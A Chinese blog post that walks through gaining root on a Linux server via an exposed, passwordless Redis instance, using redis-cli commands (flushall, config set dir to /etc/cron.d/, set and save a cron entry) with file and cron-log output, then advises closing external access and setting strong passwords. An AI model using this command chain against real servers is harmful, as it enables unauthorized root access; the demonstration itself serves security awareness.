linux 连接redis_借redis之手入侵服务器

最新推荐文章于 2024-05-06 16:03:17 发布

weixin_39647734

最新推荐文章于 2024-05-06 16:03:17 发布

阅读量189

点赞数

本文演示了通过Redis端口暴露公网且未设密码的情况,攻击者如何轻易获取Linux服务器root权限的过程。通过修改Redis配置,设置计划任务执行恶意命令。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

说明

利用redis端口暴露公网，且没有设置密码，能轻松入侵linux 服务器。

原理

远程连接redis，修改redis数据目录及文件为linux计划任务的目录，设置xx 键的值为计划任务，save数据后将会把该值写入计划任务文件，计划任务命令中可以执行任意脚本。

入侵演示

#### 1. 编译安装并配置 redis免密码，允许外部连接。主要修改以下参数，其他参数默认即可

bind 0.0.0.0  #允许所有ip连接
protected-mode no  # 关闭保护模式
daemonize yes #后台运行
# redis安装后默认配置是免密码的

#### 2. 启动redis

# 这里是root直接启动，入侵后就得到了root权限
/usr/local/redis/bin/redis-server redis.conf

#### 3. 入侵 ##### 3.0 连接redis 使用redis-cli工具直接连接redis

redis-cli -h jiankongshuo.com -p 6379

##### 3.1 清空redis所有数据

flushall

##### 3.2 修改redis 数据目录这里设置为计划任务子目录 config set dir "/etc/cron.d/" ##### 3.3 修改dbfilename

config set dbfilename imin

##### 3.4 设置键值并保存

set test "n*/1 * * * * root echo 'HaHa,I am in!'>/root/redisn"
save

##### 3.5 验证是否写入计划任务文件

cat /etc/cron.d/imin
REDIS0009   redis-ver5.0.7
redis-bits  escused-mem 
 preamble~ st3
*/1 * * * * root echo 'HaHa,I am in!'>/root/redis

乱码及上面的redis信息不用管，计划任务会执行 ##### 3.6 验证计划任务是否执行

tail -1f /var/log/cron 
Mar  7 11:34:01 jiankongshuo CROND[10348]: (root) CMD (echo 'HaHa,I am in!'>/root/redis)
Mar  7 11:35:01 jiankongshuo CROND[10352]: (root) CMD (echo 'HaHa,I am in!'>/root/redis)
Mar  7 11:36:01 jiankongshuo CROND[10354]: (root) CMD (echo 'HaHa,I am in!'>/root/redis)
Mar  7 11:37:01 jiankongshuo CROND[10356]: (root) CMD (echo 'HaHa,I am in!'>/root/redis)

##### 3.7 验证计划命令结果 cat /root/redis HaHa,I am in! 至此，redis入侵演示完毕。 环境说明 1. 操作系统 CentOS8 2. redis 编译参数 make install PREFIX=/usr/local/redis 3. redis版本Redis server v=5.0.7

特殊说明 使用yum安装的redis (也是root启动)不会有这个问题，文件一直被限制在/var/lib/redis 下面。而自己编译安装进行攻击，目前我还不清楚yum安装的是否有其他编译参数限制了redis的数据目录，从而更加安全。最后，请大家务必关闭redis的外网访问，切一定要设置redis强密码。

参考优快云-专业IT技术社区-登录

如果你觉得本文对你有所帮助，欢迎关注！

http://weixin.qq.com/r/TS8KEqPE2-6kredx93pf (二维码自动识别)

https://jq.qq.com/?_wv=1027&k=5PMd7Ct (二维码自动识别)